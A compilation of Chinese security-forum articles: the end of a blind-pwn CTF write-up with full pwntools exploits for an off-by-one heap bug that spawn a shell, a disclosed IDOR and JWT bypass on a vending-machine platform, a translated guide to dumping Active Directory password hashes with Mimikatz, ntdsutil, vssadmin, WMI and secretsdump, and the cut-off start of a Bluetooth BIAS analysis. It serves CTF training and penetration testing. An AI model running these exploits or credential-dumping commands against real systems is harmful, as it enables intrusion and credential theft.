xchange = y_add - (len2 - len1)
if xchange >= 0:
payload = payload_temp + xchange*'a' + payload_last
return payload;
else:
len1 = len2
这样子,大家比赛的时候,遇到64位的格式化字符串就可以轻松的,调用函数,直接一键生成payload了...嘿嘿
## brop
文件目录为brop
brop是利用rop不断循环的爆破出地址,条件就是要求可以不停的重连,这个比较常见,但是如果说搭建pwn题环境的时候,就需要配置一下系统设置
brop这类题目,不是特别适合在比赛中,因为特别浪费时间,适合为在实战中路由器的黑盒拿到路由器终端作为一种新的思路
思路主要是这样子
* 暴力破解-获取偏移--stack_overflow_length.py
* 获取stop_gadget--main函数地址--stop_gadget.py
* 获取brop_gadget--libc_csu_init--brop_gadget.py
* 获取puts_plt--puts_plt.py
* dump文件--leak_dump.py,code
* getshell--exp.py
那么在这个过程一定要记住一个核心的东西,就是爆破的过程中,容易出现某些地址符合条件,但是却不符合其它条件的情况,所以该题比较浪费时间
举个例子:
这里会发现一个问题,我们的puts_plt = 0x400635
在前面都是正确的,因为代码的确会执行到puts的函数的功能,但是我们在实际查看dump下来的文件的时候,我们会发现这个
很巧的就是这个0x400635是在plt表的开头,然后puts正好是衔接着开头的,所以实际的plt的地址应该是后面那个,不信,可以改掉前面的635->640,是完全都可以运行的
## 创新题-堆区利用offbyone-blindpwn
文件目录为offbyone
发现网上没有这一类的题目,所以自创了一道,也算是抛砖引玉,并且安洵杯决赛打的效果还比较好,希望,自己能再研究出一些新blindpwn题
**题目分析**
首先测试程序的基本功能,分析结构,尝试dump内存
首先是要了解过off by one这种漏洞原理,我们发现,读取字符串的函数是scanf
我们要知道scanf的问题是什么?是它会在输入的字符串最后加\x00,所以在这里,我们出现了单字节溢出的问题
> 盲打小贴士:
>
> 为什么读取字符串的函数是scanf,通过,测试,输入特殊符号,不会显示,直接中断,所以是scanf
然后发现输入并没有限制长度...所以这里,可以利用上这种漏洞
利用这个漏洞,泄露出内存
泄露内存的时候,测试是否开启了空间地址随机化,然后发现没有,如果有的话,那就使用mmap申请大内存空间的解法...
echo 1 > /proc/sys/kernel/randomize_va_space
代表pie部分开启（heap基地址不会开启pie），所以可以基于heap base addr泄露出程序的基地址
泄露出内存,dump出文件
找到一个got表地址,泄露出libc基地址
然后考虑使用one_gadget去覆盖free_hook或者malloc_hook
**dump脚本编写**
如果以文件尾作为dump结束的话,在挂载程序的时候可能出现无限泄露,可以考虑加上范围限制,这个要根据具体的情况考虑,这里暂时就无限泄露,ctrl+C断开
通过单字节溢出,以及精心伪造一个堆chunk结构,实现任意地址泄露内存
偏移量这里解释一下,由于一个chunk头部都会有0x10个字节用来存放pre_size和size,所以偏移量是0x1000-0x10
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#context.log_level = 'debug'#critical/debug
p = process("./buy")
f = open("buybin", "ab+")
#f = open("64weiba", "ab+")
def writename(name):
io.recvuntil("(1~32):")
io.sendline(name)
def namechange(name):
io.recvuntil("Your choice:")
io.sendline("6")
io.recvuntil("(1~32):")
io.sendline(name)
def add(name_size,name,des_size,des):
io.recvuntil("Your choice:")
io.sendline("1")
io.recvuntil(".")
io.sendline(str(name_size))
io.recvuntil(".")
io.sendline(name)
io.recvuntil(".")
io.sendline(str(des_size))
io.recvuntil(".")
io.sendline(des)
def displayall():
io.recvuntil("Your choice:")
io.sendline("3")
io.recvuntil("Your choice:")
io.sendline("1")
io.recvuntil(32*"a")
#io.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') # <== leak book1
book1_addr = io.recvuntil("\'s",drop=True)
book1_addr = book1_addr.ljust(8,'\x00')
book1_addr = u64(book1_addr)
#print hex(book1_addr)
io.recvuntil("des address is ")
return book1_addr
def change(index,name,desrcript):
io.recvuntil("Your choice:")
io.sendline("2")
io.recvuntil("index is ")
io.sendline(str(index))
io.recvuntil("y's name.\n")
io.sendline(name)
io.recvuntil("y's desrcription.")
io.sendline(desrcript)
def displayall_getdump(index):
io.recvuntil("Your choice:")
io.sendline("2")
io.recvuntil("index is ")
io.sendline(str(index))
io.recvuntil("name is ")
addr = io.recvuntil("\n",drop=True)
#addr = addr.ljust(8,'\x00')
#addr = u64(addr)
return addr
begin = 0x400000
offset = 0
i=0
while True:#i<13:#True:#
addr = begin + offset
try:
io = process("./buy")
#get the first heap address
writename("a"*32)
add(4200,"spring",12,"aaa")
first_heap_addr = displayall()
print '[*] first_heap_addr is ' + hex(first_heap_addr)
#first_heap_addr = 0x605040
'''
int name_size;
char *name;
int des_size;
char *desrcript;
'''
#get dump test
displayall()
#first heap pre_size size 0x10
ljust_offset = 4096 - 16
print '[*] ljust_offset is ' + hex(ljust_offset)
payload_des_dump = ljust_offset *'c' + p64(12) + p64(addr) + p64(12) + p64(addr)
#payload_des_dump = 0xfff * 'c'
#pause()
change(0,"spring",payload_des_dump)
namechange("a"*32)
#gdb.attach(io)
info = displayall_getdump(0)
print '[*] info is ' + info
io.close()
except EOFError:
print "offset is " + hex(offset)
break
if len(info)==0:
print "info is null"
offset += 1
f.write('\x00')
else:
info += "\x00"
offset += len(info)
f.write(info)
f.flush()
i = i + 1
print "offset is " + str(offset)
f.close()
p.close()
#'''
dump出来的程序,需要找到一个函数的got表地址就行了,这样就可以计算出对应的一个偏移
泄露出来的文件还是不可以被反汇编,但是可以找到很多汇编代码
然后通过去寻找一个函数的plt地址,最好是找puts或者printf,因为题目显示字符串一直在用这两个函数,所以这两个函数使用次数最多,所以肯定比较好分辨
找到puts_got
**泄露libc**
其实和之前的代码一样,主要的任务就是,但是地址覆盖写在puts_got的地址
#-*- coding:utf-8 –*- from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
elfFileName = "buy"
libcFileName = ""
ip = ""
port = 0
Debug = 1
if Debug:
io = process(elfFileName)
else:
io = remote(ip,port)
#elf = ELF(elfFileName)
def writename(name):
io.recvuntil("(1~32):")
io.sendline(name)
def namechange(name):
io.recvuntil("Your choice:")
io.sendline("6")
io.recvuntil("(1~32):")
io.sendline(name)
def add(name_size,name,des_size,des):
io.recvuntil("Your choice:")
io.sendline("1")
io.recvuntil(".")
io.sendline(str(name_size))
io.recvuntil(".")
io.sendline(name)
io.recvuntil(".")
io.sendline(str(des_size))
io.recvuntil(".")
io.sendline(des)
def displayall():
io.recvuntil("Your choice:")
io.sendline("3")
io.recvuntil("Your choice:")
io.sendline("1")
io.recvuntil(32*"a")
#io.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') # <== leak book1
book1_addr = io.recvuntil("\'s",drop=True)
book1_addr = book1_addr.ljust(8,'\x00')
book1_addr = u64(book1_addr)
#print hex(book1_addr)
#io.recvuntil("des address is ")
return book1_addr
def change(index,name,desrcript):
io.recvuntil("Your choice:")
io.sendline("2")
io.recvuntil("index is ")
io.sendline(str(index))
io.recvuntil("y's name.\n")
io.sendline(name)
io.recvuntil("y's desrcription.")
io.sendline(desrcript)
def displayall_getdump():
io.recvuntil("Your choice:")
io.sendline("3")
io.recvuntil("Your choice:")
io.sendline("1")
io.recvuntil("name is ")
addr = io.recvuntil("\n",drop=True)
addr = addr.ljust(8,'\x00')
addr = u64(addr)
#io.recvuntil("des address is ")
return addr
def make_empty(index):
io.recvuntil("Your choice:")
io.sendline("5")
io.recvuntil("Your choice:")
io.sendline("2")
io.recvuntil("The index is ")
io.sendline(str(index))
#get the first heap address
writename("a"*32)
add(4200,"spring",12,"aaa")
add(16,"hello",16,"hello")
first_heap_addr = displayall()
print '[*] first_heap_addr is ' + hex(first_heap_addr)
#first_heap_addr = 0x605040
'''
int name_size;
char *name;
int des_size;
char *desrcript;
'''
#get dump test
displayall()
#first heap pre_size size 0x10
offset = 4096 - 16
print '[*] offset is ' + hex(offset)
puts_got = 0x603028
printf_got = 0x603040
payload_got_get = offset *'c' + p64(20) + p64(puts_got) + p64(20) + p64(first_heap_addr+0x78)
#payload_des_dump = 0xfff * 'c'
#pause()
change(0,"spring",payload_got_get)
namechange("a"*32)
#gdb.attach(io)
puts_addr = displayall_getdump()
print '[*] puts_addr is ' + hex(puts_addr)
#find libc
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
freehook_addr = libc_base + libc.dump('__free_hook')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
print '[*] freehook_addr is ' + hex(freehook_addr)
print '[*] system_addr is ' + hex(system_addr)
print '[*] binsh_addr is ' + hex(binsh_addr)
one_gadget = libc_base + 0x4526a
print '[*] one_gadget is ' + hex(one_gadget)
change(0,p64(puts_addr),p64(freehook_addr))
change(1,p64(system_addr),p64(system_addr))
make_empty(1)
io.interactive()
那么这里,其实我已经给出是错误的exp,但是在测试过程中,可以把one_gadget改成system_addr,这样子,只要能够出现sh报错,就能知道可以选择哪个libc库
我这里是`[+] ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) be
choosed.`
**获取one_gadget**
安装one_gadget
su root
apt-get install ruby
apt-get install gem
gem install one_gadget
获取libc库的onegadget
找到libcsearch的安装文件夹,找到对应id的libc库
然后执行,命令
one_gadget libc6_2.23-0ubuntu10_amd64.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
上面4个,第二个成功了...
**exp**
#-*- coding:utf-8 –*- from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')
#log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
elfFileName = "buy"
libcFileName = ""
ip = ""
port = 0
Debug = 1
if Debug:
io = process(elfFileName)
else:
io = remote(ip,port)
#elf = ELF(elfFileName)
def writename(name):
io.recvuntil("(1~32):")
io.sendline(name)
def namechange(name):
io.recvuntil("Your choice:")
io.sendline("6")
io.recvuntil("(1~32):")
io.sendline(name)
def add(name_size,name,des_size,des):
io.recvuntil("Your choice:")
io.sendline("1")
io.recvuntil(".")
io.sendline(str(name_size))
io.recvuntil(".")
io.sendline(name)
io.recvuntil(".")
io.sendline(str(des_size))
io.recvuntil(".")
io.sendline(des)
def displayall():
io.recvuntil("Your choice:")
io.sendline("3")
io.recvuntil("Your choice:")
io.sendline("1")
io.recvuntil(32*"a")
#io.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') # <== leak book1
book1_addr = io.recvuntil("\'s",drop=True)
book1_addr = book1_addr.ljust(8,'\x00')
book1_addr = u64(book1_addr)
#print hex(book1_addr)
#io.recvuntil("des address is ")
return book1_addr
def change(index,name,desrcript):
io.recvuntil("Your choice:")
io.sendline("2")
io.recvuntil("index is ")
io.sendline(str(index))
io.recvuntil("y's name.\n")
io.sendline(name)
io.recvuntil("y's desrcription.")
io.sendline(desrcript)
def displayall_getdump():
io.recvuntil("Your choice:")
io.sendline("3")
io.recvuntil("Your choice:")
io.sendline("1")
io.recvuntil("name is ")
addr = io.recvuntil("\n",drop=True)
addr = addr.ljust(8,'\x00')
addr = u64(addr)
#io.recvuntil("des address is ")
return addr
def make_empty(index):
io.recvuntil("Your choice:")
io.sendline("5")
io.recvuntil("Your choice:")
io.sendline("2")
io.recvuntil("The index is ")
io.sendline(str(index))
#get the first heap address
writename("a"*32)
add(4200,"spring",12,"aaa")
add(16,"hello",16,"hello")
first_heap_addr = displayall()
print '[*] first_heap_addr is ' + hex(first_heap_addr)
#first_heap_addr = 0x605040
'''
int name_size;
char *name;
int des_size;
char *desrcript;
'''
#get dump test
displayall()
#first heap pre_size size 0x10
offset = 4096 - 16
print '[*] offset is ' + hex(offset)
puts_got = 0x603028
printf_got = 0x603040
payload_got_get = offset *'c' + p64(20) + p64(puts_got) + p64(20) + p64(first_heap_addr+0x78)
#payload_des_dump = 0xfff * 'c'
#pause()
change(0,"spring",payload_got_get)
namechange("a"*32)
#gdb.attach(io)
puts_addr = displayall_getdump()
print '[*] puts_addr is ' + hex(puts_addr)
#find libc
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
freehook_addr = libc_base + libc.dump('__free_hook')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
print '[*] freehook_addr is ' + hex(freehook_addr)
print '[*] system_addr is ' + hex(system_addr)
print '[*] binsh_addr is ' + hex(binsh_addr)
''' onegadget
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
one_gadget = libc_base + 0x4526a
print '[*] one_gadget is ' + hex(one_gadget)
change(0,p64(puts_addr),p64(freehook_addr))
change(1,p64(one_gadget),p64(system_addr))
make_empty(1)
io.interactive()
## 总结
blind pwn的核心是实现泄露内存,从而dump出整个文件
而漏洞可利用在blind pwn上的条件为:
* brop: 必须的地址复用,栈区溢出,read函数
* fmt: 格式化字符串漏洞,read函数
* offbyone: 堆区可控大小,单字节溢出,read函数,变量的结构(结构体和全局变量)
很开心能够通过自创,将blindpwn整理为一个系列,相信未来还有出现更多这类赛题 | 社区文章 |
# 对某自动售货机的测试记录之越权
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
年级大越焦虑，时常想技术做不了之后自己能干嘛。。然后试水入了自动售货机的坑。
结果随手改一个ID就是一个越权。。。然后就有了下面的故事
## 简介
该自动售货机平台已A轮，基于java springCloud构建.
如果拿到管理后台可控制全国几十万台自动售货机，例如让售货机吐货,修改机身广告全国所有机器同时播放某广告，修改账号信息，资金信息等。
本文经过问询公司工作人员，移除公司信息名称及敏感信息后可自由发表.
越权利用条件:自己手中有普通售货机运营账号权限。
## About 越权
先从越权说起，一年前随手改个order ID就发现越权之后，随便一测，发现全系统根本毫无权限控制。
为了自己的资金安全，随即向该公司报告了漏洞，修修补补大半年，越权差不多修好了。。。
修复方式是增加了 **token** 和 **jwt** 验证用户权限
最近又来看看，发现越权不止能绕过，还能直接getshell
## 绕过token和jwt鉴权
经过我的提醒之后，程序员增加了token和JWT作为用户鉴权.
抓包POST request报文是这样的(只保留了重点参数，并移除或者修改敏感信息):
POST /service/data/machine/base/v1/list/page/wx HTTP/1.1
Host: target.com
Accept: application/json, text/plain, */*
Authorization: 6410_b0RwaEV2N3lyWUZqdWVnem85RUlHWGJUREVKYw==_10f8de5763a04ad4a8fd3aa94051c570
User-Access-Token: eyJhbGciOiJIUzI1NiJ9.eyJleHBpcmVzSW4iOjE1OTA1ODU5MTcyOTIsImFwcElkIjoiV0VJWElOX1ZFTkRJTkciLCJhdXRoVHlwZSI6IldlYiIsInVzZXJOYW1lIjoiMTMzMzMzMzMzMzMiLCJyb290T3JnSWQiOiIxMDAwMDUwMjMiLCJ1c2VySWQiOjY0MTAsIm9yZ0lkIjoiMTAwMDA1MDIzIn0.6xnbyaYf630GPldrMrL7duXoe2Br8r3IcbAonItlNYA
{"page":1,"machineCode":"518","pageSize":10,"orgId":"100005023","orderByFlag":1}
首先字面理解POST参数是请求orgid为100005023的售货机基础数据。
如果我直接修改orgID请求别人的数据，会直接报错说无权限。
这个时候我们来看Authorization信息
名眼一看就是三个字段，通过下划线分割。第一段是一个四位数数字(6410)，中间的参数尾数有==，所以先试试base64解码,结果为:
oDphEv7yrYFjuegzo9EIGXbTDEJc,是一个长度为28位的字符串，到底是什么加密，暂时没试出来.
10f8de5763a04ad4a8fd3aa94051c570。是一个长度为32位的字符串，是什么也没解出来.
然后我们分析JWT信息。
JWT的明显特征就是由.分割。并且JWT全称为json web token,所以内容是json格式，并由base64编码.
json里{符号编码后就是ey开头，所以这是明显的JWT。
现在我们解码JWT看看里面保存了什么.(这里使用的是在线工具:<https://jwt.io/>)
解出来之后为:
{
"expiresIn": 1590585917292,
"appId": "WEIXIN_VENDING",
"authType": "Web",
"userName": "13333333333",
"rootOrgId": "100005023",
"userId": 6410,
"orgId": "100005023"
}
结合JWT解码之后的信息，我们知道了Authorization头中第一个四位字符串是userID。
预计当userId和orgid匹配时就能越权，这个时候我们来试试。
根据自己的userID和orgid我先尝试一下自己ID附近的，测试返回会小很多。
越权成功，读到了userId为6409用户的售货机信息.
经过分析，后端程序的逻辑首先应该是匹配Authorization中的userid和JWT中的userID是否匹配，如果不匹配就会返回
{"isSuccess":false,"code":10005,"message":"身份验证失败，请重新登陆。错误码:10005","content":null}
如果匹配成功就会继续匹配请求的orgId信息是否与JWT中的orgId信息是否匹配。
如果匹配成功就直接返回正确的信息，所以我们只要构造相应的jwt信息和token信息，就能 **遍历所有用户信息** ，或者直接 **控制别人的售货机** 。
### 修复建议:
缝缝补补总有遗漏的地方，重新设计鉴权流程，或使用shiro统一鉴权
## 总结
之前发生过漏洞的地方，应该重点关注，并且如果不做全局性的修改，只是缝缝补补,总还会被绕过。
下一期讲我是如果拿到售货机管理后台的root权限的，期望关注。 | 社区文章 |
# 如何Dump域内的Hash
原文地址：<https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/>
ps:上一篇提权那篇译文，backlion说有实际操作就更好了，所以这篇我尽量都在自己DC上测试一遍，不当之处请指教。
在渗透测试的过程中，当我们已经是域管权限时，就可以实现提取所有域内用户的密码哈希以进行离线破解和分析，这是非常常见的一个操作。这些哈希值存储在域控制器（NTDS.DIT）中的数据库文件中，并带有一些其他信息，如组中成员身份和用户。
`NTDS.DIT`文件经常被操作系统使用，因此无法直接复制到其他位置以提取信息。可以在Windows以下位置找到此文件：
C:\Windows\NTDS\NTDS.dit
ps:这是我自己域控中的实例
可以使用各种骚操作来提取此文件或存储在其中的信息，但是大多数情况下都使用以下方法之一：
* 域控复制服务
* 原生Windows二进制文件
* WMI
## Mimikatz
Mimikatz有一个功能（dcsync），它利用目录复制服务（DRS）从NTDS.DIT文件中检索密码哈希值。这样子解决了需要直接使用域控制器进行身份验证的需要，因为它可以从域管理员的上下文中获得执行权限。因此它是红队的基本操作，因为它不那么复杂。
lsadump::dcsync /domain:pentestlab.local /all /csv
ps：这是我在我本地DC中实际测试的图
> ps:[目录复制服务远程协议解释](https://msdn.microsoft.com/zh-> cn/library/cc239691.aspx):目录复制服务远程协议是用于DC之间复制和AD管理的RPC协议。该协议由一个名为drsuapi的
> RPC接口组成。
>
> 对于客户端与AD轻型目录服务（AD/LDS）域控制器建立RPC连接，它需要知道计算机的名称以及AD/LDS域控制器正在侦听的LDAP端口的编号。首先，客户端建立与计算机上的端点映射器服务的连接。
> 接下来，客户端枚举为所需接口ID注册的所有端点。最后，客户端选择其注释等于所需AD/LDS域控制器的LDAP端口号的端点。
> 此协议适用于管理目录中的对象，以及目录服务的整体管理。
通过使用`/user`参数指定域用户名，`Mimikatz`可以dump此特定用户的所有帐户信息，包括其密码哈希。
lsadump::dcsync /domain:pentestlab.local /user:test
wing's DC
或者直接在域控制器中执行Mimikatz，通过lsass.exe进程dump哈希。
privilege::debug
lsadump::lsa /inject
将检索域内用户的密码哈希值。
## Empire
`PowerShell
Empire`有两个模块，可以通过`DCSync`攻击dump域内哈希值。这两个模块都需要以域管理员权限执行，并且目标机器正在使用Microsoft复制服务。这些模块依赖于`Invoke-Mimikatz PowerShell`脚本来执行与`DCSync`相关的`Mimikatz`命令。以下模块将域内哈希值提取为类似于`Metasploit
hashdump`命令输出的格式。
usemodule credentials/mimikatz/dcsync_hashdump
用`DCSync`模块dump所有的帐户中指定的用户信息。
将获得以下信息：
## Nishang
[Nishang](https://github.com/samratashok/nishang)是一个`PowerShell`框架，它让`redteam`和渗透测试人员能够对系统进行攻击性操作。Nishang中的[VSS脚本](https://github.com/samratashok/nishang/blob/master/Gather/Copy-VSS.ps1)可以用于自动提取所需的文件：`NTDS.DIT，SAM和SYSTEM`。这些文件将被解压缩到当前工作目录或指定的任何其他文件夹中。
Import-Module .\Copy-VSS.ps1
Copy-VSS
Copy-VSS -DestinationDir C:\ShadowCopy\
我操作完之后当前文件夹已经dump了。
或者，可以通过现有的Meterpreter会话加载PowerShell扩展来执行脚本。
load powershell
powershell_import /root/Copy-VSS.ps1
powershell_execute Copy-VSS
也可以使用命令`powershell_shell`直接建立PowerShell会话，以便在在现有的Meterpreter会话中导入脚本后提取文件。
Copy-VSS
Copy-VSS -DestinationDir C:\Ninja
## PowerSploit
[PowerSploit](https://github.com/PowerShellMafia/PowerSploit)包含PowerShell脚本，该脚本利用卷复制服务创建可用于提取文件的新卷。
Import-Module .\VolumeShadowCopyTools.ps1
New-VolumeShadowCopy -Volume C:\
Get-VolumeShadowCopy
或者，可以通过加载PowerShell扩展来从现有的Meterpreter会话执行它。
powershell_shell
New-VolumeShadowCopy -Volume C:\
Get-VOlumeShadowCopy
然后，可以使用copy命令将文件从新卷复制到目标路径。
## Invoke-DCSync
[Invoke–DCSync](/tmp/VMwareDnD/681cf04a/Invoke-DCSync.ps1) 是Nick
Landers利用PowerView开发的powershell脚本。
Invoke-ReflectivePEInjection和PowerKatz的DLL wrapper 调用Mimikatz的DCSync方法检索哈希值。
直接执行该函数将生成以下输出：
Invoke-DCSync
优秀，哈哈！
结果将格式化为四个表：Domain，User，RID和Hash。但是，使用参数-PWDumpFormat执行Invoke-DCSync将以以下格式检索哈希：
user：id：lm：ntlm :::
Invoke-DCSync -PWDumpFormat
通过从现有的Meterpreter会话运行脚本，可以实现相同的输出。
使用PWDumpFormat：
## NTDSUTIL
该NTDSUTIL是一个命令行工具，它是域控制器生态系统的一部分，其目的是为了使管理员能够访问和管理`Windows Active
Directory`数据库。但是，渗透测试人员和redteam可以用它来拍摄现有ntds.dit文件的快照，该文件可以复制到新位置以进行离线分析和密码哈希的提取。
ntdsutil
activate instance ntds
ifm
create full C:\ntdsutil
quit
quit
将生成两个新文件夹：Active Directory和Registry。NTDS.DIT文件将保存在Active Directory中，SAM和SYSTEM文件将保存到Registry文件夹中。
## DiskShadow
DiskShadow是Microsoft签名的二进制文件，用于协助管理员执行与卷复制服务（VSS）相关的操作。最初bohops在他的博客中写到了这个二进制文件。这个二进制文件有两个交互式和脚本模式，因此可以使用一个脚本文件，它将包含自动执行NTDS.DIT提取过程所需的所有命令。脚本文件可以包含以下行，以便创建新的卷影副本，装入新驱动器，执行复制命令并删除卷影副本。
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%
reset
需要注意一点，`DiskShadow`二进制文件需要从`C\Windows\System32`路径执行。如果从另一个路径调用它，脚本将无法正确执行。
diskshadow.exe /s c:\diskshadow.txt
直接从解释器运行以下命令将列出系统的所有可用卷影副本。
diskshadow
LIST SHADOWS ALL
`SYSTEM`注册表配置单元也应该复制，因为它包含解密NTDS文件内容的密钥。
reg.exe save hklm\system c:\exfil\system.bak
## WMI
Sean
Metcalf在他的[博客](https://adsecurity.org/?p=2398)中证明了，可以通过WMI远程提取NTDS.DIT和SYSTEM文件。此技术使用`vssadmin`二进制文件来创建卷的副本。
wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c vssadmin create shadow /for=C: 2>&1"
然后，它远程执行复制命令，以便将卷影副本中的NTDS.DIT文件解压缩到目标系统上的另一个目录中。
wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit 2>&1"
这同样适用于SYSTEM文件。
wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM\ C:\temp\SYSTEM.hive 2>&1"
然后，解压缩的文件可以从域控制器传输到另一个Windows系统，然后dump域内用户密码哈希值。
PS C:\Users\test.PENTESTLAB> copy \\10.0.0.1\c$\temp\ntds.dit C:\temp
PS C:\Users\test.PENTESTLAB> copy \\10.0.0.1\c$\temp\SYSTEM.hive C:\temp
如果已生成金票据，则可以使用它通过Kerberos与域控制器进行身份验证，而不是凭据。
## VSSADMIN
卷影拷贝服务是Windows命令行实用的程序，使管理员可以备份计算机，卷和文件，即使它们正在被操作系统使用。卷影复制作为服务运行，并要求将文件系统格式化为NTFS，默认情况下所有现代操作系统都是如此。从Windows命令提示符执行以下操作将创建C：驱动器的快照，以便用户通常无法访问这些文件以将其复制到另一个位置（本地文件夹，网络文件夹或可移动设备）。
vssadmin create shadow /for=C:
ps:
关于Volume Shadow Copy 服务：
它是管理及执行用于备份和其他目的的磁碟区卷影。如果这个服务被停止，卷影将无法用于备份，备份可能会失败。如果这个服务被停用，依存它的服务无法启动。
这一服务唯一的缺点是你需要为每一个卷影留出更多的磁盘空间，因为你必须在某处存储这些拷贝。
它主要是用来备份数据库之类的数据，个人电脑确实一般用不上它。可以放心禁用！
由于C：驱动器中的所有文件都已复制到另一个位置（HarddiskVolumeShadowCopy1），因此它们不会被操作系统直接使用，因此可以访问他并且复制到另一个位置。命令副本将NTDS.DIT和SYSTEM文件复制到名为ShadowCopy的本地驱动器上的新创建文件夹中。
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy
需要将这些文件从域控制器复制到另一个主机以进行进一步处理。
## vssown
与vssadmin程序类似，Tim
Tomes开发了[vssown](https://github.com/lanmaster53/ptscripts/blob/master/windows/vssown.vbs)，它是一个可视化的基本脚本，可以创建和删除卷影副本，从卸载的卷影副本运行任意可执行文件，以及启动和停止卷影复制服务。
cscript vssown.vbs /start
cscript vssown.vbs /create c
cscript vssown.vbs /list
cscript vssown.vbs /delete
可以使用命令复制所需的文件。
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\ntds\ntds.dit C:\vssown
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SYSTEM C:\vssown
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SAM C:\vssown
## Metasploit
Metasploit框架有一个模块，它通过服务器消息块（SMB）服务直接与域控制器进行身份验证，创建系统驱动器的卷影副本，并将NTDS.DIT和SYSTEM配置单元的副本下载到Metasploit目录中。这些文件可以与impacket等其他工具一起使用，这些工具可以进行
`active directory`哈希密码的提取。
auxiliary/admin/smb/psexec_ntdsgrab
还有一个后渗透模块，可以链接到现有的Meterpreter会话，以便通过ntdsutil方法检索域哈希。
windows/gather/credentials/domain_hashdump
或者，如果已经拿到域控制器的现有Meterpreter会话，则可以使用命令hashdump。但是，此方法不被认为是安全的，因为它可能会使域控崩掉。
hashdump
## fgdump
[fgdump](http://www.foofus.net/fizzgig/fgdump/fgdump-2.1.0-exeonly.zip)是一个比较老的可执行文件，可提取的LanMan和NTLM的密码哈希值。如果已获取本地管理员凭据，则可以在本地或远程执行。在执行期间，fgdump将尝试禁用可能在系统上运行的防病毒软件，如果成功，则会将所有数据写入两个文件中。如果存在防病毒或端点解决方案，则不应该将fgdump用作dump密码哈希的方法以避免检测，因为大多数防病毒公司（包括Microsoft的Windows
Defender）都会对将它kill掉。
fgdump.exe
可以通过检查.pwdump文件的内容来get密码哈希值。
type 127.0.0.1.pwdump
## NTDS提取
[Impacket](https://github.com/CoreSecurity/impacket)是一组python脚本，可用于执行各种任务，包括提取NTDS文件的内容。`impacket-secretsdump`模块需要系统和NTDS数据库文件.
impacket-secretsdump -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
此外，impacket可以通过使用计算机帐户及其哈希进行身份验证然后从NTDS.DIT文件远程dump域内所有密码哈希。
impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\[email protected]
作为impacket的替代解决方案，[NTDSDumpEx](https://github.com/zcgonvh/NTDSDumpEx)二进制文件可以从Windows主机中提取域密码哈希值。
NTDSDumpEx.exe -d ntds.dit -s SYSTEM.hive
还有一个shell脚本[adXtract](https://github.com/LordNem/adXtract)，它可以将用户名和密码哈希导出为一种格式，可以使用常见密码破解程序进行破解，例如John
the Ripper和Hashcat。
./adXtract.sh /root/ntds.dit /root/SYSTEM pentestlab
该脚本将所有信息写入项目名称下的各种文件中，当数据库文件NTDS的解密完成后，将用户列表和密码哈希值导出到控制台中。该脚本将提供有关域用户的大量信息，如下所示。
密码哈希将以下列格式显示。
## 总结
操作一遍之后，操作确实很多，个人愚见就是，不管哪种方法，都尽量别被域管发现。
译者：[wing](https://evilwing.me) | 社区文章 |
sourcell.xu@海特实验室
Boffins 披露了一个被称为 BIAS 的蓝牙安全漏洞
(CVE-2020-10135)，攻击者可利用该漏洞欺骗远程配对设备。海特实验室研究员针对于该漏洞进行了详细分析。
在经典蓝牙（Bluetooth Classic）的世界中，link key 是安全的基石。根据蓝牙核心规范 5.2，我们有三种类型的 link
key，它们分别为：
combination key
temporary key
initialization key
